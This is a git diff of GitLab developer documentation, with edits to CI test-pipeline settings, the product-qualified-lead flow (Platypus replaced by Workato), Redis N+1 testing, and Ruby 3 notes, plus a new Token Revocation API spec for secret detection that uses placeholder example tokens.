2-hourly scheduled pipelines, as GitLab.com still runs on Ruby 2.7. +1. The `retrieve-tests-metadata` job in the `prepare` stage ensures we have a + `knapsack/report-master.json` file: + - The `knapsack/report-master.json` file is fetched from the latest `main` pipeline which runs `update-tests-metadata` + (for now it's the 2-hourly `maintenance` scheduled master pipeline), if it's not here we initialize the file with `{}`. +1. Each `[rspec|rspec-ee] [migration|unit|integration|system|geo] n m` job are run with + `knapsack rspec` and should have an evenly distributed share of tests: + - It works because the jobs have access to the `knapsack/report-master.json` + since the "artifacts from all previous stages are passed by default". + - the jobs set their own report path to + `"knapsack/${TEST_TOOL}_${TEST_LEVEL}_${DATABASE}_${CI_NODE_INDEX}_${CI_NODE_TOTAL}_report.json"`. + - if knapsack is doing its job, test files that are run should be listed under + `Report specs`, not under `Leftover specs`. +1. The `update-tests-metadata` job (which only runs on scheduled pipelines for + [the canonical project](https://gitlab.com/gitlab-org/gitlab) takes all the + `knapsack/rspec*.json` files and merge them all together into a single + `knapsack/report-master.json` file that is saved as artifact. + +After that, the next pipeline uses the up-to-date `knapsack/report-master.json` file. + +## Flaky tests -## PostgreSQL versions testing +### Automatic skipping of flaky tests + +We used to skip tests that are [known to be flaky](../testing_guide/flaky_tests.md#automatic-retries-and-flaky-tests-detection), +but we stopped doing so since that could actually lead to actual broken `master`. +Instead, we proactively quarantine any flaky test reported in `#master-broken` incidents +so that they're ultimately fixed by their respective group. + +The automatic skipping of flaky tests can still be enabled by setting the `$SKIP_FLAKY_TESTS_AUTOMATICALLY` variable to `true`. + +See the [experiment issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/1069). + +### Automatic retry of failing tests in a separate process + +Unless `$RETRY_FAILED_TESTS_IN_NEW_PROCESS` variable is set to `false` (`true` by default), RSpec tests that failed are automatically retried once in a separate +RSpec process. The goal is to get rid of most side-effects from previous tests that may lead to a subsequent test failure. + +We keep track of retried tests in the `$RETRIED_TESTS_REPORT_FILE` file saved as artifact by the `rspec:flaky-tests-report` job. + +See the [experiment issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/1148). + +## Compatibility testing + +By default, we run all tests with the versions that runs on GitLab.com. + +Other versions (usually one back-compatible version, and one forward-compatible version) should be running in nightly scheduled pipelines. + +Exceptions to this general guideline should be motivated and documented. + +### Ruby versions testing + +We're running Ruby 3.0 for the merge requests and the default branch. However, +we're still running Ruby 2.7 for GitLab.com and there are older versions that +we need to maintain, so we also run our test suite against Ruby 2.7 on a +dedicated 2-hourly scheduled pipelines. + +For merge requests, you can add the `pipeline:run-in-ruby2` label to switch +the Ruby version used for running the whole test suite to 2.7. When you do +this, the test suite will no longer run in Ruby 3.0 (default), and an +additional job `verify-ruby-3.0` will also run and always fail to remind us to +remove the label and run in Ruby 3.0 before merging the merge request. + +This should let us: + +- Test changes for Ruby 2.7 +- Make sure it will not break anything when it's merged into the default branch + +### PostgreSQL versions testing Our test suite runs against PG12 as GitLab.com runs on PG12 and [Omnibus defaults to PG12 for new installs and upgrades](../../administration/package_information/postgresql_versions.md). @@ -490,7 +488,7 @@ We do run our test suite against PG11 and PG13 on nightly scheduled pipelines. We also run our test suite against PG11 upon specific database library changes in MRs and `main` pipelines (with the `rspec db-library-code pg11` job). -### Current versions testing +#### Current versions testing | Where? | PostgreSQL version | Ruby version | |------------------------------------------------------------------------------------------------|-------------------------------------------------|--------------| @@ -506,16 +504,14 @@ pipeline in `ruby2-sync` branch, which updates the `ruby2` branch with latest is triggering a pipeline in `ruby2` 5 minutes after it, which is considered the maintenance schedule to run test suites and update cache. -Any changes in `ruby2` are only for running the pipeline. It should -never be merged back to `master`. Any other Ruby 2.7 changes should go into -`master` directly, which should be compatible with Ruby 3. +The `ruby2` branch must not have any changes. The branch is only there to set +`RUBY_VERSION` to `2.7` in the maintenance pipeline schedule. -Previously, `ruby2-sync` was using a project token stored in `RUBY2_SYNC_TOKEN` -(now backed up in `RUBY2_SYNC_TOKEN_NOT_USED`), however due to various -permissions issues, we ended up using an access token from `gitlab-bot` so now -`RUBY2_SYNC_TOKEN` is actually an access token from `gitlab-bot`. +The `gitlab` job in the `ruby2-sync` branch uses a `gitlab-org/gitlab` project +token with `write_repository` scope and `Maintainer` role with no expiration. +The token is stored in the `RUBY2_SYNC_TOKEN` variable in `gitlab-org/gitlab`. -### Long-term plan +#### Long-term plan We follow the [PostgreSQL versions shipped with Omnibus GitLab](../../administration/package_information/postgresql_versions.md): @@ -525,14 +521,14 @@ We follow the [PostgreSQL versions shipped with Omnibus GitLab](../../administra | PG11 | `nightly` | `nightly` | `nightly` | `nightly` | `nightly` | `nightly` | | PG13 | `nightly` | `nightly` | `nightly` | `nightly` | `nightly` | `nightly` | -## Redis versions testing +### Redis versions testing Our test suite runs against Redis 6 as GitLab.com runs on Redis 6 and [Omnibus defaults to Redis 6 for new installs and upgrades](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/config/software/redis.rb). We do run our test suite against Redis 5 on `nightly` scheduled pipelines, specifically when running backward-compatible and forward-compatible PostgreSQL jobs. -### Current versions testing +#### Current versions testing | Where? | Redis version | | ------ | ------------------ | @@ -540,6 +536,26 @@ We do run our test suite against Redis 5 on `nightly` scheduled pipelines, speci | `default branch` (non-scheduled pipelines) | 6 | | `nightly` scheduled pipelines | 5 | +### Single database testing + +By default, all tests run with [multiple databases](../database/multiple_databases.md). + +We also run tests with a single database in nightly scheduled pipelines, and in merge requests that touch database-related files. + +If you want to force tests to run with a single database, you can add the `pipeline:run-single-db` label to the merge request. + +## Monitoring + +The GitLab test suite is [monitored](../performance.md#rspec-profiling) for the `main` branch, and any branch +that includes `rspec-profile` in their name. + +## Logging + +- Rails logging to `log/test.log` is disabled by default in CI + [for performance reasons](https://jtway.co/speed-up-your-rails-test-suite-by-6-in-1-line-13fedb869ec4). + To override this setting, provide the + `RAILS_ENABLE_TEST_LOG` environment variable. + ## Pipelines types for merge requests In general, pipelines for an MR fall into one of the following types (from shorter to longer), depending on the changes made in the MR: diff --git a/doc/development/product_qualified_lead_guide/index.md b/doc/development/product_qualified_lead_guide/index.md index 1ad4f622829..c72110bc253 100644 --- a/doc/development/product_qualified_lead_guide/index.md +++ b/doc/development/product_qualified_lead_guide/index.md @@ -13,36 +13,34 @@ A hand-raise PQL is a user who requests to speak to sales from within the produc ## Set up your development environment 1. Set up GDK with a connection to your local CustomersDot instance. -1. Set up CustomersDot to talk to a staging instance of Platypus. +1. Set up CustomersDot to talk to a staging instance of Workato. 1. Set up CustomersDot using the [normal install instructions](https://gitlab.com/gitlab-org/customers-gitlab-com/-/blob/staging/doc/setup/installation_steps.md). 1. Set the `CUSTOMER_PORTAL_URL` environment variable to your local (or ngrok) URL of your CustomersDot instance. 1. Place `export CUSTOMER_PORTAL_URL='https://XXX.ngrok.io/'` in your shell `rc` script (`~/.zshrc` or `~/.bash_profile` or `~/.bashrc`) and restart GDK. -1. Enter the credentials on CustomersDot development to Platypus in your `/config/secrets.yml` and restart. Credentials for the Platypus Staging are in the 1Password Growth vault. The URL for staging is `https://staging.ci.nexus.gitlabenvironment.cloud`. +1. Enter the credentials on CustomersDot development to Workato in your `/config/secrets.yml` and restart. Credentials for the Workato Staging are in the 1Password Subscription portal vault. The URL for staging is `https://apim.workato.com/gitlab-dev/services/marketo/lead`. ```yaml - platypus_url: "<%= ENV['PLATYPUS_URL'] %>" - platypus_client_id: "<%= ENV['PLATYPUS_CLIENT_ID'] %>" - platypus_client_secret: "<%= ENV['PLATYPUS_CLIENT_SECRET'] %>" + workato_url: "<%= ENV['WORKATO_URL'] %>" + workato_client_id: "<%= ENV['WORKATO_CLIENT_ID'] %>" + workato_client_secret: "<%= ENV['WORKATO_CLIENT_SECRET'] %>" ``` ### Set up lead monitoring -1. Set up access for Platypus Staging `https://staging.ci.nexus.gitlabenvironment.cloud` using the Platypus Staging credentials in the 1Password Growth vault. 1. Set up access for the Marketo sandbox, similar [to this example request](https://gitlab.com/gitlab-com/team-member-epics/access-requests/-/issues/13162). ### Manually test leads 1. Register a new user with a unique email on your local GitLab instance. 1. Send the PQL lead by submitting your new form or creating a new trial or a new hand raise lead. -1. Use easily identifiable values that can be easily seen in Platypus staging. -1. Observe the entry in the staging instance of Platypus and paste in the merge request comment and mention. +1. Use easily identifiable values that can be easily seen in Workato staging. +1. Observe the entry in the staging instance of Workato and paste in the merge request comment and mention. ## Troubleshooting - Check the application and Sidekiq logs on `gitlab.com` and CustomersDot to monitor leads. - Check the `leads` table in CustomersDot. -- Set up staging credentials for Platypus, and track the leads on the Platypus Dashboard: `https://staging.ci.nexus.gitlabenvironment.cloud/admin/queues/queue/new-lead-queue`. - Ask for access to the Marketo Sandbox and validate the leads there, [to this example request](https://gitlab.com/gitlab-com/team-member-epics/access-requests/-/issues/13162). ## Embed a hand-raise lead form @@ -104,7 +102,7 @@ We currently use the following `glm_content` values: | `discover-project-security` | This value is used in the project security feature discovery page. | | `discover-project-security-pqltest` | This value is used in the project security feature discovery page [experiment with 3 CTAs](https://gitlab.com/gitlab-org/gitlab/-/issues/349799). | | `group-billing` | This value is used in the group billing page. | -| `trial-status-show-group` | This value is used in the top left nav when a namespace has an active trial. | +| `trial-status-show-group` | This value is used in the upper-left nav when a namespace has an active trial. | ### Test the component @@ -121,8 +119,7 @@ The flow of a PQL lead is as follows: 1. A user triggers a [`HandRaiseLeadButton` component](#embed-a-hand-raise-lead-form) on `gitlab.com`. 1. The `HandRaiseLeadButton` submits any information to the following API endpoint: `/-/trials/create_hand_raise_lead`. 1. That endpoint reposts the form to the CustomersDot `trials/create_hand_raise_lead` endpoint. -1. CustomersDot records the form data to the `leads` table and posts the form to [Platypus](https://gitlab.com/gitlab-com/business-technology/enterprise-apps/integrations/platypus). -1. Platypus posts the form to Workato (which is under the responsibility of the Business Operations team). +1. CustomersDot records the form data to the `leads` table and posts the form to [Workato](https://about.gitlab.com/handbook/marketing/marketing-operations/workato/). 1. Workato sends the form to Marketo. 1. Marketo does scoring and sends the form to Salesforce. 1. Our Sales team uses Salesforce to connect to the leads. @@ -150,11 +147,11 @@ sequenceDiagram sequenceDiagram CustomersDot|TrialsController#create->>HostedPlans|CreateTrialService#execute: Save [lead] to leads table for monitoring purposes HostedPlans|CreateTrialService#execute->>BaseTrialService#create_account: Creates a customer record in customers table - HostedPlans|CreateTrialService#create_platypus_lead->>PlatypusLogLeadService: Creates a platypus lead - HostedPlans|CreateTrialService#create_platypus_lead->>Platypus|CreateLeadWorker: Async worker to submit [lead] to Platypus - Platypus|CreateLeadWorker->>Platypus|CreateLeadService: [lead] - Platypus|CreateLeadService->>PlatypusApp#post: [lead] - PlatypusApp#post->>Platypus: [lead] is sent to Platypus + HostedPlans|CreateTrialService#create_lead->>CreateLeadService: Creates a lead record in customers table + HostedPlans|CreateTrialService#create_lead->>Workato|CreateLeadWorker: Async worker to submit [lead] to Workato + Workato|CreateLeadWorker->>Workato|CreateLeadService: [lead] + Workato|CreateLeadService->>WorkatoApp#create_lead: [lead] + WorkatoApp#create_lead->>Workato: [lead] is sent to Workato ``` #### Applying the trial to a namespace on CustomersDot @@ -182,18 +179,17 @@ sequenceDiagram ```mermaid sequenceDiagram - CustomersDot|TrialsController#create_hand_raise_lead->>PlatypusLogLeadService: Save [lead] to leads table for monitoring purposes - CustomersDot|TrialsController#create_hand_raise_lead->>Platypus|CreateLeadWorker: Async worker to submit [lead] to Platypus - Platypus|CreateLeadWorker->>Platypus|CreateLeadService: [lead] - Platypus|CreateLeadService->>PlatypusApp#post: [lead] - PlatypusApp#post->>Platypus: [lead] is sent to Platypus + CustomersDot|TrialsController#create_hand_raise_lead->>CreateLeadService: Save [lead] to leads table for monitoring purposes + CustomersDot|TrialsController#create_hand_raise_lead->>Workato|CreateLeadWorker: Async worker to submit [lead] to Workato + Workato|CreateLeadWorker->>Workato|CreateLeadService: [lead] + Workato|CreateLeadService->>WorkatoApp#create_lead: [lead] + WorkatoApp#create_lead->>Workato: [lead] is sent to Workato ``` -### PQL flow after Platypus for all lead types +### PQL flow after Workato for all lead types ```mermaid sequenceDiagram - Platypus->>Workato: [lead] Workato->>Marketo: [lead] Marketo->>Salesforce(SFDC): [lead] ``` diff --git a/doc/development/project_templates.md b/doc/development/project_templates.md index 55a63d41425..3320f3134fb 100644 --- a/doc/development/project_templates.md +++ b/doc/development/project_templates.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Organization +stage: Create +group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md index caea2cecf57..82e96befd11 100644 --- a/doc/development/rake_tasks.md +++ b/doc/development/rake_tasks.md @@ -10,7 +10,7 @@ Rake tasks are available for developers and others contributing to GitLab. ## Set up database with developer seeds -Note that if your database user does not have advanced privileges, you must create the database manually before running this command. +If your database user does not have advanced privileges, you must create the database manually before running this command. ```shell bundle exec rake setup @@ -154,7 +154,7 @@ seeds, you can set the `FORCE` environment variable to `yes`: FORCE=yes bundle exec rake setup ``` -This will skip the action confirmation/safety check, saving you from answering +This skips the action confirmation/safety check, saving you from answering `yes` manually. ### Discard `stdout` @@ -168,7 +168,7 @@ it to a file. If we don't care about the output, we could just redirect it to echo 'yes' | bundle exec rake setup > /dev/null ``` -Note that since you can't see the questions from `stdout`, you might just want +Because you can't see the questions from `stdout`, you might just want to `echo 'yes'` to keep it running. It would still print the errors on `stderr` so no worries about missing errors. @@ -182,7 +182,7 @@ There are a few environment flags you can pass to change how projects are seeded ## Run tests -In order to run the test you can use the following commands: +To run the test you can use the following commands: - `bin/rake spec` to run the RSpec suite - `bin/rake spec:unit` to run only the unit tests diff --git a/doc/development/redis.md b/doc/development/redis.md index 75c7df0737b..68cab9ac38d 100644 --- a/doc/development/redis.md +++ b/doc/development/redis.md @@ -142,6 +142,59 @@ those that use the most memory. Currently this is not run automatically for the GitLab.com Redis instances, but is run manually on an as-needed basis. +## N+1 calls problem + +> Introduced in [`spec/support/helpers/redis_commands/recorder.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/redis_commands/recorder.rb) via [`f696f670`](https://gitlab.com/gitlab-org/gitlab/-/commit/f696f670005435472354a3dc0c01aa271aef9e32) + +`RedisCommands::Recorder` is a tool for detecting Redis N+1 calls problem from tests. + +Redis is often used for caching purposes. Usually, cache calls are lightweight and +cannot generate enough load to affect the Redis instance. However, it is still +possible to trigger expensive cache recalculations without knowing that. Use this +tool to analyze Redis calls, and define expected limits for them. + +### Create a test + +It is implemented as a [`ActiveSupport::Notifications`](https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html) instrumenter. + +You can create a test that verifies that a testable code only makes +a single Redis call: + +```ruby +it 'avoids N+1 Redis calls' do + control = RedisCommands::Recorder.new { visit_page } + + expect(control.count).to eq(1) +end +``` + +or a test that verifies the number of specific Redis calls: + +```ruby +it 'avoids N+1 sadd Redis calls' do + control = RedisCommands::Recorder.new { visit_page } + + expect(control.by_command(:sadd).count).to eq(1) +end +``` + +You can also provide a pattern to capture only specific Redis calls: + +```ruby +it 'avoids N+1 Redis calls to forks_count key' do + control = RedisCommands::Recorder.new(pattern: 'forks_count') { visit_page } + + expect(control.count).to eq(1) +end +``` + +These tests can help to identify N+1 problems related to Redis calls, +and make sure that the fix for them works as expected. + +### See also + +- [Database query recorder](database/query_recorder.md) + ## Utility classes We have some extra classes to help with specific use cases. These are @@ -189,9 +242,8 @@ The Redis [`PFCOUNT`](https://redis.io/commands/pfcount/), [`PFADD`](https://redis.io/commands/pfadd/), and [`PFMERGE`](https://redis.io/commands/pfmerge/) commands operate on HyperLogLogs, a data structure that allows estimating the number of unique -elements with low memory usage. (In addition to the `PFCOUNT` documentation, -Thoughtbot's article on [HyperLogLogs in Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis) -provides a good background here.) +elements with low memory usage. For more information, +see [HyperLogLogs in Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis). [`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/hll.rb) provides a convenient interface for adding and counting values in HyperLogLogs. diff --git a/doc/development/ruby3_gotchas.md b/doc/development/ruby3_gotchas.md index 4768d6e1182..0d000bc68df 100644 --- a/doc/development/ruby3_gotchas.md +++ b/doc/development/ruby3_gotchas.md @@ -57,7 +57,7 @@ To write code that works under both 2.7 and 3.0, consider the following options: We recommend always passing the block explicitly, and prefer two required arguments as block parameters. -To learn more, see [Ruby issue 12706](https://bugs.ruby-lang.org/issues/12706). +For more information, see [Ruby issue 12706](https://bugs.ruby-lang.org/issues/12706). ## `Symbol#to_proc` returns signature metadata consistent with lambdas @@ -92,7 +92,7 @@ called without a receiver. Ruby 3 corrects this: the code that tests `Proc` object arity or parameter lists might now break and has to be updated. -To learn more, see [Ruby issue 16260](https://bugs.ruby-lang.org/issues/16260). +For more information, see [Ruby issue 16260](https://bugs.ruby-lang.org/issues/16260). ## `OpenStruct` does not evaluate fields lazily diff --git a/doc/development/sec/index.md b/doc/development/sec/index.md index 4ed0eadd92f..5ac5118aae8 100644 --- a/doc/development/sec/index.md +++ b/doc/development/sec/index.md @@ -85,7 +85,7 @@ a critical component to both describing and tracking vulnerabilities. In most other cases, the `identifiers` collection is unordered, where the remaining secondary identifiers act as metadata for grouping vulnerabilities (see [Analyzer vulnerability translation](#analyzer-vulnerability-translation) below for the exception). -Any time the primary identifier changes and a project pipeline is re-run, ingestion of the new report will “orphan” the previous DB record. +Any time the primary identifier changes and a project pipeline is re-run, ingestion of the new report will "orphan" the previous DB record. Because our processing logic relies on generating a delta of two different vulnerabilities, it can end up looking rather confusing. For example: [!Screenshot of primary identifier mismatch in MR widget](img/primary_identifier_changed_v15_6.png) @@ -95,14 +95,14 @@ After being [merged](../integrations/secure.md#tracking-and-merging-vulnerabilit ### Guiding principles for ensuring primary identifier stability - A primary identifier should never change unless we have a compelling reason. -- Analyzer supporting vulnerability translation must include the legacy primary identifiers in a secondary position to prevent “orphaning” of results. +- Analyzer supporting vulnerability translation must include the legacy primary identifiers in a secondary position to prevent "orphaning" of results. - Beyond the primary identifier, the order of secondary identifiers does not matter. - The identifier is unique based on a combination of the `Type` and `Value` fields (see [identifier fingerprint](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.5.1-ee/lib/gitlab/ci/reports/security/identifier.rb#L63)). - If we change the primary identifier, rolling back analyzers to previous versions will not fix the orphaned results. The data previously ingested into our database is an artifact of previous jobs with few ways of automating data migrations. ### Analyzer vulnerability translation -In the case of the SAST Semgrep analyzer, there is a secondary identifier of particular importance: the identifier linking the report’s vulnerability +In the case of the SAST Semgrep analyzer, there is a secondary identifier of particular importance: the identifier linking the report's vulnerability to the legacy analyzer (that is, bandit or ESLint). To [enable vulnerability translation](../../user/application_security/sast/analyzers.md#vulnerability-translation) diff --git a/doc/development/sec/security_report_ingestion_overview.md b/doc/development/sec/security_report_ingestion_overview.md index c1d977c2a17..688986e0eb1 100644 --- a/doc/development/sec/security_report_ingestion_overview.md +++ b/doc/development/sec/security_report_ingestion_overview.md @@ -56,7 +56,7 @@ If there is only a Security Finding, a Vulnerability Finding and a Vulnerability ### Issue creation -If you select `Create issue`, a Vulnerabilities::Feedback record is created as well. The Feedback has a different `feedback_type` and an `issue_id` that’s not `NULL`. +If you select `Create issue`, a Vulnerabilities::Feedback record is created as well. The Feedback has a different `feedback_type` and an `issue_id` that's not `NULL`. NOTE: Vulnerabilities::Feedback are in the process of being [deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5629). This will later create a `Vulnerabilities::IssueLink` record. diff --git a/doc/development/sec/token_revocation_api.md b/doc/development/sec/token_revocation_api.md new file mode 100644 index 00000000000..15d1d2d0ef3 --- /dev/null +++ b/doc/development/sec/token_revocation_api.md @@ -0,0 +1,118 @@ +--- +stage: Secure +group: Static Analysis +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Token Revocation API + +The Token Revocation API is an externally-deployed HTTP API that interfaces with GitLab +to receive and revoke API tokens and other secrets detected by GitLab Secret Detection. +See the [high-level architecture](../../user/application_security/secret_detection/post_processing.md) +to understand the Secret Detection post-processing and revocation flow. + +GitLab.com uses the internally-maintained [Secret Revocation Service](https://gitlab.com/gitlab-com/gl-security/engineering-and-research/automation-team/secret-revocation-service) +(team-members only) as its Token Revocation API. For GitLab self-managed, you can create +your own API and configure GitLab to use it. + +## Implement a Token Revocation API for self-managed + +GitLab self-managed instances interested in using the revocation capabilities must: + +- Implement and deploy your own Token Revocation API. +- Configure the GitLab instance to use the Token Revocation API. + +Your service must: + +- Match the API specification below. +- Provide two endpoints: + - Fetching revocable token types. + - Revoking leaked tokens. +- Be rate-limited and idempotent. + +Requests to the documented endpoints are authenticated using API tokens passed in +the `Authorization` header. Request and response bodies, if present, are +expected to have the content type `application/json`. + +All endpoints may return these responses: + +- `401 Unauthorized` +- `405 Method Not Allowed` +- `500 Internal Server Error` + +### `GET /v1/revocable_token_types` + +Returns the valid `type` values for use in the `revoke_tokens` endpoint. + +NOTE: +These values match the concatenation of [the `secrets` analyzer's](../../user/application_security/secret_detection/index.md) +[primary identifier](../integrations/secure.md#identifiers) by means +of concatenating the `primary_identifier.type` and `primary_identifier.value`. +For example, the value `gitleaks_rule_id_gitlab_personal_access_token` matches the following finding identifier: + +```json +{"type": "gitleaks_rule_id", "name": "Gitleaks rule ID GitLab Personal Access Token", "value": "GitLab Personal Access Token"} +``` + +| Status Code | Description | +| ----- | --- | +| `200` | The response body contains the valid token `type` values. | + +Example response body: + +```json +{ + "types": ["gitleaks_rule_id_gitlab_personal_access_token"] +} +``` + +### `POST /v1/revoke_tokens` + +Accepts a list of tokens to be revoked by the appropriate provider. Your service is responsible for communicating +with each provider to revoke the token. + +| Status Code | Description | +| ----- | --- | +| `204` | All submitted tokens have been accepted for eventual revocation. | +| `400` | The request body is invalid or one of the submitted token types is not supported. The request should not be retried. | +| `429` | The provider has received too many requests. The request should be retried later. | + +Example request body: + +```json +[{ + "type": "gitleaks_rule_id_gitlab_personal_access_token", + "token": "glpat--8GMtG8Mf4EnMJzmAWDU", + "location": "https://example.com/some-repo/blob/abcdefghijklmnop/compromisedfile1.java" +}, +{ + "type": "gitleaks_rule_id_gitlab_personal_access_token", + "token": "glpat--tG84EGK33nMLLDE70zU", + "location": "https://example.com/some-repo/blob/abcdefghijklmnop/compromisedfile2.java" +}] +``` + +### Configure GitLab to interface with the Token Revocation API + +You must configure the following database settings in the GitLab instance: + +| Setting | Type | Description | +| ------- | ---- | ----------- | +| `secret_detection_token_revocation_enabled` | Boolean | Whether automatic token revocation is enabled | +| `secret_detection_token_revocation_url` | String | A fully-qualified URL to the `/v1/revoke_tokens` endpoint of the Token Revocation API | +| `secret_detection_revocation_token_types_url` | String | A fully-qualified URL to the `/v1/revocable_token_types` endpoint of the Token Revocation API | +| `secret_detection_token_revocation_token` | String | A pre-shared token to authenticate requests to the Token Revocation API | + +For example, to configure these values in the +[Rails console](../../administration/operations/rails_console.md#starting-a-rails-console-session): + +```ruby +::Gitlab::CurrentSettings.update!(secret_detection_token_revocation_token: 'MYSECRETTOKEN') +::Gitlab::CurrentSettings.update!(secret_detection_token_revocation_url: 'https://example.gitlab.com/revocation_service/v1/revoke_tokens') +::Gitlab::CurrentSettings.update!(secret_detection_revocation_token_types_url: 'https://example.gitlab.com/revocation_service/v1/revocable_token_types') +::Gitlab::CurrentSettings.update!(secret_detection_token_revocation_enabled: true) +``` + +After you configure these values, the Token Revocation API will be called according to the +[high-level architecture](../../user/application_security/secret_detection/post_processing.md#high-level-architecture) +diagram. diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index 3791cd4861e..6c64e3b2acc 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -266,8 +266,7 @@ value, we **will not** be protected against DNS rebinding. This is the case with validators such as the `AddressableUrlValidator` (called with `validates :url, addressable_url: {opts}` or `public_url: {opts}`). Validation errors are only raised when validations are called, for example when a record is created or saved. If we ignore the value returned by the validation -when persisting the record, **we need to recheck** its validity before using it. You can learn more about [Time of Check to Time of Use bugs](#time-of-check-to-time-of-use-bugs) in a later section -of these guidelines. +when persisting the record, **we need to recheck** its validity before using it. For more information, see [Time of check to time of use bugs](#time-of-check-to-time-of-use-bugs). #### Feature-specific mitigations @@ -291,7 +290,7 @@ implement. - For HTTP connections: Disable redirects or validate the redirect destination - To mitigate DNS rebinding attacks, validate and use the first IP address received. -See [`url_blocker_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/lib/gitlab/url_blocker_spec.rb) for examples of SSRF payloads. See [time of check to time of use bugs](#time-of-check-to-time-of-use-bugs) to learn more about DNS rebinding's class of bug. +See [`url_blocker_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/lib/gitlab/url_blocker_spec.rb) for examples of SSRF payloads. For more information about the DNS-rebinding class of bugs, see [Time of check to time of use bugs](#time-of-check-to-time-of-use-bugs). Don't rely on methods like `.start_with?` when validating a URL, or make assumptions about which part of a string maps to which part of a URL. Use the `URI` class to parse the string, and validate @@ -1270,7 +1269,7 @@ This sensitive data must be handled carefully to avoid leaks which could lead to - The [Gitleaks Git hook](https://gitlab.com/gitlab-com/gl-security/security-research/gitleaks-endpoint-installer) is recommended for preventing credentials from being committed. - Never log credentials under any circumstance. Issue [#353857](https://gitlab.com/gitlab-org/gitlab/-/issues/353857) is an example of credential leaks through log file. - When credentials are required in a CI/CD job, use [masked variables](../ci/variables/index.md#mask-a-cicd-variable) to help prevent accidental exposure in the job logs. Be aware that when [debug logging](../ci/variables/index.md#enable-debug-logging) is enabled, all masked CI/CD variables are visible in job logs. Also consider using [protected variables](../ci/variables/index.md#protect-a-cicd-variable) when possible so that sensitive CI/CD variables are only available to pipelines running on protected branches or protected tags. -- Proper scanners must be enabled depending on what data those credentials are protecting. See the [Application Security Inventory Policy](https://about.gitlab.com/handbook/security/security-engineering-and-research/application-security/inventory.html#policies) and our [Data Classification Standards](https://about.gitlab.com/handbook/security/data-classification-standard.html#data-classification-standards). +- Proper scanners must be enabled depending on what data those credentials are protecting. See the [Application Security Inventory Policy](https://about.gitlab.com/handbook/security/security-engineering/application-security/inventory.html#policies) and our [Data Classification Standards](https://about.gitlab.com/handbook/security/data-classification-standard.html#data-classification-standards). - To store and/or share credentials between teams, refer to [1Password for Teams](https://about.gitlab.com/handbook/security/#1password-for-teams) and follow [the 1Password Guidelines](https://about.gitlab.com/handbook/security/#1password-guidelines). - If you need to share a secret with a team member, use 1Password. Do not share a secret over email, Slack, or other service on the Internet. diff --git a/doc/development/service_ping/implement.md b/doc/development/service_ping/implement.md index 1e5f4191375..ef2e7e6edf5 100644 --- a/doc/development/service_ping/implement.md +++ b/doc/development/service_ping/implement.md @@ -356,8 +356,6 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd/) and [P `{users}_creating_epics-2020-34`. If `redis_slot` is not defined the Redis key will be `{users_creating_epics}-2020-34`. Recommended slots to use are: `users`, `projects`. This is the value we count. - - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly - aggregation. - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis. Aggregation on a `daily` basis does not pull more fine grained data. - `feature_flag`: if no feature flag is set then the tracking is enabled. One feature flag can be used for multiple events. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking. @@ -498,9 +496,6 @@ Next, get the unique events for the current week. We have the following recommendations for [adding new events](#add-new-events): - Event aggregation: weekly. -- Key expiry time: - - Daily: 29 days. - - Weekly: 42 days. - When adding new metrics, use a [feature flag](../../operations/feature_flags.md) to control the impact. - For feature flags triggered by another service, set `default_enabled: false`, - Events can be triggered using the `UsageData` API, which helps when there are > 10 events per change diff --git a/doc/development/service_ping/index.md b/doc/development/service_ping/index.md index 40bb03cb5b4..14c9cb33446 100644 --- a/doc/development/service_ping/index.md +++ b/doc/development/service_ping/index.md @@ -210,7 +210,6 @@ The following is example content of the Service Ping payload. "prometheus_metrics_enabled": false, "reply_by_email_enabled": "incoming+%{key}@incoming.gitlab.com", "signup_enabled": true, - "web_ide_clientside_preview_enabled": true, "projects_with_expiration_policy_disabled": 999, "projects_with_expiration_policy_enabled": 999, ... diff --git a/doc/development/service_ping/metrics_lifecycle.md b/doc/development/service_ping/metrics_lifecycle.md index 92c5d2d317d..8a8ceae1f4c 100644 --- a/doc/development/service_ping/metrics_lifecycle.md +++ b/doc/development/service_ping/metrics_lifecycle.md @@ -72,14 +72,16 @@ WARNING: If a metric is not used in Sisense or any other system after 6 months, the Product Intelligence team marks it as inactive and assigns it to the group owner for review. -We are working on automating this process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/338466) for details. +We are working on automating this process. See [this epic](https://gitlab.com/groups/gitlab-org/-/epics/8988) for details. Product Intelligence removes metrics from Service Ping if they are not used in any Sisense dashboard. -For an example of the metric removal process, see this [example issue](https://gitlab.com/gitlab-org/gitlab/-/issues/297029). +For an example of the metric removal process, see this [example issue](https://gitlab.com/gitlab-org/gitlab/-/issues/388236). To remove a metric: +1. Create an issue for removing the metric if none exists yet. The issue needs to outline why the metric should be deleted. You can use this issue to document the removal process. + 1. Check the following YAML files and verify the metric is not used in an aggregate: - [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/) - 